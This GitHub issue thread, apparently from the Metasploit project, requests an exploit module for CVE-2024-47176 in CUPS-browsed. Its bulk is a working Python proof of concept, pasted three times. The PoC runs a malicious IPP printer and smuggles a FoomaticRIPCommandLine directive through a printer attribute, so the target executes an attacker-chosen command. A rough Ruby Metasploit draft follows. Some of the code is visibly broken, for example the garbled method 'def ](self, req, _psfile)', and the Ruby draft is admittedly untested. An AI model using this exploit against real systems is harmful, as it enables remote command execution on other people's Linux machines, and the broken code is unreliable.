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CVE-2024-47176 (CUPS-browsed RCE) #19509

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h00die opened this issue Sep 27, 2024 · 4 comments
Open

CVE-2024-47176 (CUPS-browsed RCE) #19509

h00die opened this issue Sep 27, 2024 · 4 comments
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suggestion-module New module suggestions

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@h00die
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h00die commented Sep 27, 2024

Summary

New module to exploit a 9.9 CVE against Linux CUPS-browsed service (supposedly OSX and Windows CVEs coming as well, so this may be good to make libraries for)

Basic example

https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8#advisory-comment-109538
Contains python code:

#!/usr/bin/env python3
import socket
import threading
import time
import sys


from ippserver.server import IPPServer
import ippserver.behaviour as behaviour
from ippserver.server import IPPRequestHandler
from ippserver.constants import (
    OperationEnum, StatusCodeEnum, SectionEnum, TagEnum
)
from ippserver.parsers import Integer, Enum, Boolean
from ippserver.request import IppRequest


class MaliciousPrinter(behaviour.StatelessPrinter):
    def __init__(self, command):
        self.command = command
        super(MaliciousPrinter, self).__init__()

    def printer_list_attributes(self):
        attr = {
            # rfc2911 section 4.4
            (
                SectionEnum.printer,
                b'printer-uri-supported',
                TagEnum.uri
            ): [self.printer_uri],
            (
                SectionEnum.printer,
                b'uri-authentication-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'uri-security-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-name',
                TagEnum.name_without_language
            ): [b'Main Printer'],
            (
                SectionEnum.printer,
                b'printer-info',
                TagEnum.text_without_language
            ): [b'Main Printer Info'],
            (
                SectionEnum.printer,
                b'printer-make-and-model',
                TagEnum.text_without_language
            ): [b'HP 0.00'],
            (
                SectionEnum.printer,
                b'printer-state',
                TagEnum.enum
            ): [Enum(3).bytes()],  # XXX 3 is idle
            (
                SectionEnum.printer,
                b'printer-state-reasons',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'ipp-versions-supported',
                TagEnum.keyword
            ): [b'1.1'],
            (
                SectionEnum.printer,
                b'operations-supported',
                TagEnum.enum
            ): [
                Enum(x).bytes()
                for x in (
                    OperationEnum.print_job,  # (required by cups)
                    OperationEnum.validate_job,  # (required by cups)
                    OperationEnum.cancel_job,  # (required by cups)
                    OperationEnum.get_job_attributes,  # (required by cups)
                    OperationEnum.get_printer_attributes,
                )],
            (
                SectionEnum.printer,
                b'multiple-document-jobs-supported',
                TagEnum.boolean
            ): [Boolean(False).bytes()],
            (
                SectionEnum.printer,
                b'charset-configured',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'charset-supported',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'natural-language-configured',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'generated-natural-language-supported',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'document-format-default',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'document-format-supported',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'printer-is-accepting-jobs',
                TagEnum.boolean
            ): [Boolean(True).bytes()],
            (
                SectionEnum.printer,
                b'queued-job-count',
                TagEnum.integer
            ): [Integer(666).bytes()],
            (
                SectionEnum.printer,
                b'pdl-override-supported',
                TagEnum.keyword
            ): [b'not-attempted'],
            (
                SectionEnum.printer,
                b'printer-up-time',
                TagEnum.integer
            ): [Integer(self.printer_uptime()).bytes()],
            (
                SectionEnum.printer,
                b'compression-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-privacy-policy-uri',
                TagEnum.uri
            ): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' +
                self.command.encode() +
                b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],

        }
        attr.update(super().minimal_attributes())
        return attr

    def ](self, req, _psfile):
        print("target connected, sending payload ...")
        attributes = self.printer_list_attributes()
        return IppRequest(
            self.version,
            StatusCodeEnum.ok,
            req.request_id,
            attributes)


def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port):
    print("sending udp packet to %s:%d ..." % (ip, port))

    printer_type = 0x00
    printer_state = 0x03
    printer_uri = 'http://%s:%d/printers/NAME' % (
        ipp_server_host, ipp_server_port)
    printer_location = 'Office HQ'
    printer_info = 'Printer'

    message = bytes('%x %x %s "%s" "%s"' %
                    (printer_type,
                     printer_state,
                     printer_uri,
                     printer_location,
                     printer_info), 'UTF-8')

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(message, (ip, port))


def wait_until_ctrl_c():
    try:
        while True:
            time.sleep(300)
    except KeyboardInterrupt:
        return


def run_server(server):
    print('malicious ipp server listening on ', server.server_address)
    server_thread = threading.Thread(target=server.serve_forever)
    server_thread.daemon = True
    server_thread.start()
    wait_until_ctrl_c()
    server.shutdown()


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("%s <LOCAL_HOST> <TARGET_HOST>" % sys.argv[0])
        quit()

    SERVER_HOST = sys.argv[1]
    SERVER_PORT = 12345

    command = "echo 1 > /tmp/I_AM_VULNERABLE"

    server = IPPServer((SERVER_HOST, SERVER_PORT),
                       IPPRequestHandler, MaliciousPrinter(command))

    threading.Thread(
        target=run_server,
        args=(server, )
    ).start()

    TARGET_HOST = sys.argv[2]
    TARGET_PORT = 631
    send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT)

    print("wating ...")

    while True:
        time.sleep(1.0)

Motivation

Remote command execution on many linux systems

@h00die h00die added the suggestion-module New module suggestions label Sep 27, 2024
@h00die
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h00die commented Sep 27, 2024

Here's some generated code from that python code to metasploit module. Likely broken beyond belief and will need a bunch of rewrite, so consider it a pseudo guide:

##
# This module requires Metasploit: https://metasploit.com/download
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Exploit::Remote::TcpServer
  include Rex::Text

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Malicious IPP Printer Exploit',
      'Description'    => %q{
        This module exploits a vulnerability in an IPP server by creating a malicious IPP printer
        that sends a malicious command when a client connects to it.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Your Name' ], # Add your name here
      'Platform'       => 'unix',
      'Targets'        => [ [ 'Automatic', {} ] ],
      'DefaultTarget'  => 0,
      'References'     =>
        [
          [ 'URL', 'https://your-reference-url.com' ]
        ],
      'DisclosureDate' => 'Sep 19 2024'
    ))

    register_options([
      OptString.new('TARGET_HOST', [true, 'The target IP', '']),
      OptInt.new('TARGET_PORT', [true, 'The target IPP port', 631]),
      OptString.new('LOCAL_HOST', [true, 'The local host to bind the IPP server', '0.0.0.0']),
      OptInt.new('LOCAL_PORT', [true, 'The local port to bind the IPP server', 12345])
    ])
  end

  def printer_list_attributes(command)
    {
      'printer-uri-supported' => ["http://#{datastore['LOCAL_HOST']}:#{datastore['LOCAL_PORT']}/printers/NAME"],
      'uri-authentication-supported' => ['none'],
      'printer-name' => ['Malicious Printer'],
      'printer-info' => ['Malicious Printer Info'],
      'printer-make-and-model' => ['HP 0.00'],
      'printer-state' => [3], # Printer is idle
      'operations-supported' => [2, 4, 5, 9, 11],
      'printer-privacy-policy-uri' => ['https://www.google.com/' \
                                      "\n*FoomaticRIPCommandLine: \"#{command}\"" \
                                      "\n*cupsFilter2 : \"application/pdf application/vnd.cups-postscript 0 foomatic-rip\""]
    }
  end

  def on_client_connect(client)
    print_good("Target connected, sending malicious payload...")

    # Simulating a response with attributes
    command = "echo 1 > /tmp/I_AM_VULNERABLE"
    attributes = printer_list_attributes(command)

    # Create IPP response (simplified, normally you'd create an actual IPP protocol response)
    response = {
      version: '1.1',
      status_code: 200,
      request_id: rand(1000..9999),
      attributes: attributes
    }

    # Send response
    client.put(serialize_ipp_response(response))
    client.close
  end

  def serialize_ipp_response(response)
    # This is a placeholder. In a real exploit, you'd serialize the IPP response properly
    "IPP Response: #{response.inspect}"
  end

  def run
    print_status("Starting malicious IPP server on #{datastore['LOCAL_HOST']}:#{datastore['LOCAL_PORT']}...")
    exploit_server.start
  end

  def send_browsed_packet(target_ip, target_port)
    print_status("Sending UDP packet to #{target_ip}:#{target_port}...")
    
    printer_type = 0x00
    printer_state = 0x03
    printer_uri = "http://#{datastore['LOCAL_HOST']}:#{datastore['LOCAL_PORT']}/printers/NAME"
    printer_location = 'Office HQ'
    printer_info = 'Malicious Printer'

    message = "#{printer_type} #{printer_state} #{printer_uri} \"#{printer_location}\" \"#{printer_info}\""

    udp_sock = UDPSocket.new
    udp_sock.send(message, 0, target_ip, target_port)
    udp_sock.close
  end

  def exploit
    # Start the malicious IPP server
    run

    # Send UDP packet to the target
    send_browsed_packet(datastore['TARGET_HOST'], datastore['TARGET_PORT'])

    print_status("Waiting for target connection...")
    while true
      Rex::ThreadSafe.sleep(1)
    end
  end
end

@smcintyre-r7
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This is in progress courtesy of @remmons-r7 🎉

@log4gin
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log4gin commented Sep 28, 2024

Summary

New module to exploit a 9.9 CVE against Linux CUPS-browsed service (supposedly OSX and Windows CVEs coming as well, so this may be good to make libraries for)

Basic example

https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8#advisory-comment-109538
Contains python code:

#!/usr/bin/env python3
import socket
import threading
import time
import sys


from ippserver.server import IPPServer
import ippserver.behaviour as behaviour
from ippserver.server import IPPRequestHandler
from ippserver.constants import (
    OperationEnum, StatusCodeEnum, SectionEnum, TagEnum
)
from ippserver.parsers import Integer, Enum, Boolean
from ippserver.request import IppRequest


class MaliciousPrinter(behaviour.StatelessPrinter):
    def __init__(self, command):
        self.command = command
        super(MaliciousPrinter, self).__init__()

    def printer_list_attributes(self):
        attr = {
            # rfc2911 section 4.4
            (
                SectionEnum.printer,
                b'printer-uri-supported',
                TagEnum.uri
            ): [self.printer_uri],
            (
                SectionEnum.printer,
                b'uri-authentication-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'uri-security-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-name',
                TagEnum.name_without_language
            ): [b'Main Printer'],
            (
                SectionEnum.printer,
                b'printer-info',
                TagEnum.text_without_language
            ): [b'Main Printer Info'],
            (
                SectionEnum.printer,
                b'printer-make-and-model',
                TagEnum.text_without_language
            ): [b'HP 0.00'],
            (
                SectionEnum.printer,
                b'printer-state',
                TagEnum.enum
            ): [Enum(3).bytes()],  # XXX 3 is idle
            (
                SectionEnum.printer,
                b'printer-state-reasons',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'ipp-versions-supported',
                TagEnum.keyword
            ): [b'1.1'],
            (
                SectionEnum.printer,
                b'operations-supported',
                TagEnum.enum
            ): [
                Enum(x).bytes()
                for x in (
                    OperationEnum.print_job,  # (required by cups)
                    OperationEnum.validate_job,  # (required by cups)
                    OperationEnum.cancel_job,  # (required by cups)
                    OperationEnum.get_job_attributes,  # (required by cups)
                    OperationEnum.get_printer_attributes,
                )],
            (
                SectionEnum.printer,
                b'multiple-document-jobs-supported',
                TagEnum.boolean
            ): [Boolean(False).bytes()],
            (
                SectionEnum.printer,
                b'charset-configured',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'charset-supported',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'natural-language-configured',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'generated-natural-language-supported',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'document-format-default',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'document-format-supported',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'printer-is-accepting-jobs',
                TagEnum.boolean
            ): [Boolean(True).bytes()],
            (
                SectionEnum.printer,
                b'queued-job-count',
                TagEnum.integer
            ): [Integer(666).bytes()],
            (
                SectionEnum.printer,
                b'pdl-override-supported',
                TagEnum.keyword
            ): [b'not-attempted'],
            (
                SectionEnum.printer,
                b'printer-up-time',
                TagEnum.integer
            ): [Integer(self.printer_uptime()).bytes()],
            (
                SectionEnum.printer,
                b'compression-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-privacy-policy-uri',
                TagEnum.uri
            ): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' +
                self.command.encode() +
                b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],

        }
        attr.update(super().minimal_attributes())
        return attr

    def ](self, req, _psfile):
        print("target connected, sending payload ...")
        attributes = self.printer_list_attributes()
        return IppRequest(
            self.version,
            StatusCodeEnum.ok,
            req.request_id,
            attributes)


def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port):
    print("sending udp packet to %s:%d ..." % (ip, port))

    printer_type = 0x00
    printer_state = 0x03
    printer_uri = 'http://%s:%d/printers/NAME' % (
        ipp_server_host, ipp_server_port)
    printer_location = 'Office HQ'
    printer_info = 'Printer'

    message = bytes('%x %x %s "%s" "%s"' %
                    (printer_type,
                     printer_state,
                     printer_uri,
                     printer_location,
                     printer_info), 'UTF-8')

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(message, (ip, port))


def wait_until_ctrl_c():
    try:
        while True:
            time.sleep(300)
    except KeyboardInterrupt:
        return


def run_server(server):
    print('malicious ipp server listening on ', server.server_address)
    server_thread = threading.Thread(target=server.serve_forever)
    server_thread.daemon = True
    server_thread.start()
    wait_until_ctrl_c()
    server.shutdown()


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("%s <LOCAL_HOST> <TARGET_HOST>" % sys.argv[0])
        quit()

    SERVER_HOST = sys.argv[1]
    SERVER_PORT = 12345

    command = "echo 1 > /tmp/I_AM_VULNERABLE"

    server = IPPServer((SERVER_HOST, SERVER_PORT),
                       IPPRequestHandler, MaliciousPrinter(command))

    threading.Thread(
        target=run_server,
        args=(server, )
    ).start()

    TARGET_HOST = sys.argv[2]
    TARGET_PORT = 631
    send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT)

    print("wating ...")

    while True:
        time.sleep(1.0)

Motivation

Remote command execution on many linux systems

maybe with some error .

def ](self, req, _psfile):

(>﹏<)

@CtrlAltDelet
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Summary 概括

New module to exploit a 9.9 CVE against Linux CUPS-browsed service (supposedly OSX and Windows CVEs coming as well, so this may be good to make libraries for)针对 Linux CUPS 浏览的服务利用 9.9 CVE 的新模块(据说 OSX 和 Windows CVE 也会推出,因此这可能适合为其创建库)

Basic example 基本示例

https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8#advisory-comment-109538
Contains python code: 包含python代码:

#!/usr/bin/env python3
import socket
import threading
import time
import sys


from ippserver.server import IPPServer
import ippserver.behaviour as behaviour
from ippserver.server import IPPRequestHandler
from ippserver.constants import (
    OperationEnum, StatusCodeEnum, SectionEnum, TagEnum
)
from ippserver.parsers import Integer, Enum, Boolean
from ippserver.request import IppRequest


class MaliciousPrinter(behaviour.StatelessPrinter):
    def __init__(self, command):
        self.command = command
        super(MaliciousPrinter, self).__init__()

    def printer_list_attributes(self):
        attr = {
            # rfc2911 section 4.4
            (
                SectionEnum.printer,
                b'printer-uri-supported',
                TagEnum.uri
            ): [self.printer_uri],
            (
                SectionEnum.printer,
                b'uri-authentication-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'uri-security-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-name',
                TagEnum.name_without_language
            ): [b'Main Printer'],
            (
                SectionEnum.printer,
                b'printer-info',
                TagEnum.text_without_language
            ): [b'Main Printer Info'],
            (
                SectionEnum.printer,
                b'printer-make-and-model',
                TagEnum.text_without_language
            ): [b'HP 0.00'],
            (
                SectionEnum.printer,
                b'printer-state',
                TagEnum.enum
            ): [Enum(3).bytes()],  # XXX 3 is idle
            (
                SectionEnum.printer,
                b'printer-state-reasons',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'ipp-versions-supported',
                TagEnum.keyword
            ): [b'1.1'],
            (
                SectionEnum.printer,
                b'operations-supported',
                TagEnum.enum
            ): [
                Enum(x).bytes()
                for x in (
                    OperationEnum.print_job,  # (required by cups)
                    OperationEnum.validate_job,  # (required by cups)
                    OperationEnum.cancel_job,  # (required by cups)
                    OperationEnum.get_job_attributes,  # (required by cups)
                    OperationEnum.get_printer_attributes,
                )],
            (
                SectionEnum.printer,
                b'multiple-document-jobs-supported',
                TagEnum.boolean
            ): [Boolean(False).bytes()],
            (
                SectionEnum.printer,
                b'charset-configured',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'charset-supported',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'natural-language-configured',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'generated-natural-language-supported',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'document-format-default',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'document-format-supported',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'printer-is-accepting-jobs',
                TagEnum.boolean
            ): [Boolean(True).bytes()],
            (
                SectionEnum.printer,
                b'queued-job-count',
                TagEnum.integer
            ): [Integer(666).bytes()],
            (
                SectionEnum.printer,
                b'pdl-override-supported',
                TagEnum.keyword
            ): [b'not-attempted'],
            (
                SectionEnum.printer,
                b'printer-up-time',
                TagEnum.integer
            ): [Integer(self.printer_uptime()).bytes()],
            (
                SectionEnum.printer,
                b'compression-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-privacy-policy-uri',
                TagEnum.uri
            ): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' +
                self.command.encode() +
                b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],

        }
        attr.update(super().minimal_attributes())
        return attr

    def ](self, req, _psfile):
        print("target connected, sending payload ...")
        attributes = self.printer_list_attributes()
        return IppRequest(
            self.version,
            StatusCodeEnum.ok,
            req.request_id,
            attributes)


def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port):
    print("sending udp packet to %s:%d ..." % (ip, port))

    printer_type = 0x00
    printer_state = 0x03
    printer_uri = 'http://%s:%d/printers/NAME' % (
        ipp_server_host, ipp_server_port)
    printer_location = 'Office HQ'
    printer_info = 'Printer'

    message = bytes('%x %x %s "%s" "%s"' %
                    (printer_type,
                     printer_state,
                     printer_uri,
                     printer_location,
                     printer_info), 'UTF-8')

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(message, (ip, port))


def wait_until_ctrl_c():
    try:
        while True:
            time.sleep(300)
    except KeyboardInterrupt:
        return


def run_server(server):
    print('malicious ipp server listening on ', server.server_address)
    server_thread = threading.Thread(target=server.serve_forever)
    server_thread.daemon = True
    server_thread.start()
    wait_until_ctrl_c()
    server.shutdown()


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("%s <LOCAL_HOST> <TARGET_HOST>" % sys.argv[0])
        quit()

    SERVER_HOST = sys.argv[1]
    SERVER_PORT = 12345

    command = "echo 1 > /tmp/I_AM_VULNERABLE"

    server = IPPServer((SERVER_HOST, SERVER_PORT),
                       IPPRequestHandler, MaliciousPrinter(command))

    threading.Thread(
        target=run_server,
        args=(server, )
    ).start()

    TARGET_HOST = sys.argv[2]
    TARGET_PORT = 631
    send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT)

    print("wating ...")

    while True:
        time.sleep(1.0)

Motivation 动机

Remote command execution on many linux systems在许多 Linux 系统上远程执行命令

maybe with some error .也许有一些错误。

def ](self, req, _psfile):

(>﹏<)

gaodinglema

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